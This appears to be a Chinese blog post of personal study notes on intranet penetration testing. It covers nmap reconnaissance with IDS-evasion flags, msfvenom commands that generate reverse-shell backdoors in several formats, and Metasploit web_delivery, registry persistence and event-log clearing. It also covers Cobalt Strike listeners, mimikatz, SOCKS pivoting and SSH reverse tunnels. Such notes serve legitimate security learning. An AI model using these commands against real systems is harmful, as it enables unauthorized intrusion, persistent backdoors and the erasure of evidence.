(CN) Intranet Penetest Learning
![](/post/pentest_learning/featured_huc20b226cb3c833585a537175772569ce_151858_e5da61a3ccd20148ecf774e6a2b0324b.webp)
1 信息收集
服务器信息(端口、服务、真实IP)
网站信息(网站架构、指纹信息、WAF、敏感目录、敏感文件、源码、旁站、C段)
域名信息(
whois
、备案信息、子域名)管理员信息(个人信息)
1.1 域名信息收集
- 域名分类:
- .com 顶级域名
- baidu.com 二级域名
www.baidu.com
三级域名- .gov 政府域名
- .com 商业域名
- .edu 教育域名
whois
:阿里云、腾讯云都提供服务- 备案信息:查询网站
- 子域名收集:google hacking
- google hacking(黑客工具之Google Hacking的简单用法)
1.2 IP及端口信息收集
-
判断、绕过CDN:多个地点ping shu.edu.cn
-
c段存活主机
Nmap
# Syn半连接,no ping, T4的速率扫描
nmap -sS -T4 -Pn 192.168.31.3
#sT
# 系统扫描
nmap -O -T4 -Pn ipaddr
# 服务版本扫描
nmap -sV -T4 -Pn ipaddr
防火墙/IDS规避
-f; --mtu <val>: 指定使用分片、指定数据包的 MTU.
-D <decoy1,decoy2[,ME],...>: 用一组 IP 地址掩盖真实地址,其中 ME 填入自己的 IP 地址。
-S <IP_Address>: 伪装成其他 IP 地址
-e <iface>: 使用特定的网络接口
-g/--source-port <portnum>: 使用指定源端口
--data-length <num>: 填充随机数据让数据包长度达到 Num。
--ip-options <options>: 使用指定的 IP 选项来发送数据包。
--ttl <val>: 设置 time-to-live 时间。
--spoof-mac <mac address/prefix/vendor name>: 伪装 MAC 地址
--badsum: 使用错误的 checksum 来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或IDS/IPS)
# e.g.
nmap -F -Pn -D ip1,ip2,ME -e eth0 -g 7890 targeIP
nmap
脚本扫描
nmap --script xxx targetIP
1.3 网站信息收集
- 操作系统
- ping判断:win TTL=128 Linux=64
nmap -O
- win不区分大小写,linux则区分
- 网站服务/容器类型
- F12
- wappalyzer插件
- CMS识别(网站内容管理)貌似kali自带whatweb?
- 敏感文件和目录探测
- WAF识别
-
nmap -p80,443 --script http-waf-detect ipaddr nmap -p80,443 --script http-waf-fingerprint ipaddr
- 历史漏洞信息
- Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com)
- 知道创宇 Seebug 漏洞平台 - 洞悉漏洞,让你掌握前沿漏洞情报!
1.4 漏洞扫描及测试工具
AWVS
Nessus
burpsuite
sqlmap
中文教程
2 常见漏洞复现学习
具体见博客更新
3 内网渗透
3.1 msf
- data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
- documentation:包含框架的可用文档。
- lib: metasploit的库文件夹。
- plugins:用来存放metasploit的插件。
- scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
- tools:存放多种的命令行实用程序。
- modules:存储metasploit的模块文件。
- modules目录
- auxiliary:辅助模块
- exploits:漏洞利用模块
- payload:攻击载荷,再靶机上执行代码
- post:后渗透模块
- encoders:编码器模块
- evasion:躲避模块
- nops:针对溢出攻击
- msf的信息收集模块
db_nmap 用法同nmap
auxiliary/scanner
模块
# 端口扫描
use auxiliary/scanner/portscan/syn
show options
set rhost ipaddr
exploit
# 主机探测
use auxiliary/scanner/discovery/arp_sweep
show options
set rhost ipaddr
set threads 10
run
- msf获取靶机控制器meterpreter
# 可查看help信息
?
3.2 msfvenom
- 生产后门的软件,再靶机上执行后门,在本地监听、上线
-p payload
-e encoder
-a arch
-platform
-o output
-f format
- e.g.
sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=localhost LPORT=9999 -f elf -o test.elf
- 上传后门木马到靶机中
- msf中开启监听模块
exploit/multi/handler
use exploit/multi/handler
show options
set payload linux/x86/meterpreter/reverse_tcp
set lhost ipaddr
set lport portnum
run
# 成功连上后就同meterpreter操作了
- 对于web payload来说
sudo msfvenom -p php/meterpreter/reverse_tcp LHOST=localhost LPORT=9999 -f raw -o test.php
# asp jsp war 同理
- 对于脚本payload来说
# py
sudo msfvenom -p python/meterpreter/reverse_tcp LHOST=localhost LPORT=9999 -f raw -o shell.py
# bash
sudo msfvenom -p cmd/unix/reverse_bash LHOST=localhost LPORT=9999 -f raw -o test.sh
# perl
sudo msfvenom -p cmd/unix/reverse_perl LHOST=localhost LPORT=9999 -f raw -o test.pl
3.3 msf 攻击实践
- web_delivery
当攻击者拥有部分受害者主机的控制权,但还没有拿到一个完整的shell时,web_delivery就派上用场。web_delivery的主要目的是快速和受害者主机建立一条session。当受害者主机存在比如==命令注入、远程命令==执行等问题时,攻击者可以使用web_delivery生成的一条命令建立连接。
另外web_delivery的payload不会在受害者主机磁盘上写文件,而是直接将攻击者服务器上的代码加载到内存执行,有利于绕过检测。
web_delivery支持php/python/powershell等多种脚本,使用不同的脚本的payload时需要通过set target O或1或2来设置是使用php还是python还是powershell等。
use exploit/multi/script/web_delivery
show options
set target 0
……
run
# get meterpreter
- 从具体漏洞拿到webshell,再通过webshell管理工具上传后门木马,来获取
meterpreter
,可能存在管理员杀掉进程,导致meterpreter掉线,可以将木马写入注册表,但存在杀软介入
backround
use exploit/windows/local/registry_persistence
set session 12
run
- 痕迹清除
# meterpreter下
clearev
- 进程迁移
# meterpreter下
migrate [pid]
3.4 cobalt Strike
cobalt strike
(简称CS)是一款团队作战渗透测试神器,分为客户端及服务端,一个服务端可以对应多个客户端,一个客户端可以连接多个服务端。
Cobalt Strike集成了端口转发,扫描多模式端口Listener,Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
与metasploit关系
metasploit是一款开源框架,armitage是metasploit框架的图形化界面方式,cobalt strike是armitagel的增强版,同时也是收费软件。cobalt strike在2.0版本还是依托metasploit,在3.0之后的版本使用单独的平台。
agscript拓展应用的脚本
c2lint 用于检查profile的错误异常
teamserver 服务端程序
cobaltstrike jar 客户端程序
logs 目录记录
update 更新
third-party 第三方工具
- 开启监听,与msf的handler相似
- 设置payload,上传到靶机中,成功上线,类似于meterpreter
利用host file功能下载后门文件
成功上线
- 靶机控制
- interact 命令行交互
- 提权
- spawn
- 运行mimikatz
- 开启vnc
- 文件浏览器
- 端口扫描
- 查看进程
shell tasklist
- screenshot
-
修改sleep 默认60s
3.5 cs攻击流程
- 设置监听器
- 设置payload attack
- 寻找靶机漏洞,执行命令
- 靶机上线
- 提权
- 内网信息收集
3.6 msf和cs联动
3.6.1 socks代理
简单描述拓扑:
cs在外网部署
win7 连接内外网,已被拿下
winserver 为内网 目标
采用socks代理
beacon> socks <port>
kali中proxychains 设置代理即可
3.6.2 外部监听器
- cs上创建一个外部监听器,本地创建msf监听器
-
CS: Foreign HTTP
-
kali下msf中设置handler,配置对应的payload
- 使用ssh隧道直接派生一个shell到本地
vim /etc/ssh/sshd_config
# modify
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
systemctl restart sshd.service
- 回到kali中,通过ssh隧道做转发
创建
ssh
隧道常用的参数: -C 压缩传输,提供传输速度 -f 将ssh传输转入后台执行,不占用当前的shell -N 建立静默连接(建立了连接,但是看不到具体会话) -g 允许远程主机连接本地用于转发的端口-L 本地端口转发 -R 远程端口转发 -D 动态转发 -P 指定ssh端口
在kali输入以下命令:
ssh -C -f -N -g -R 0.0.0.0:8889:192.168.123.136:8889 root@vpsip -p 22
通过vpsip把外部的8889端口上的流量转到本地kali的8889端口上,而本地8889又被handler监听,即可达到效果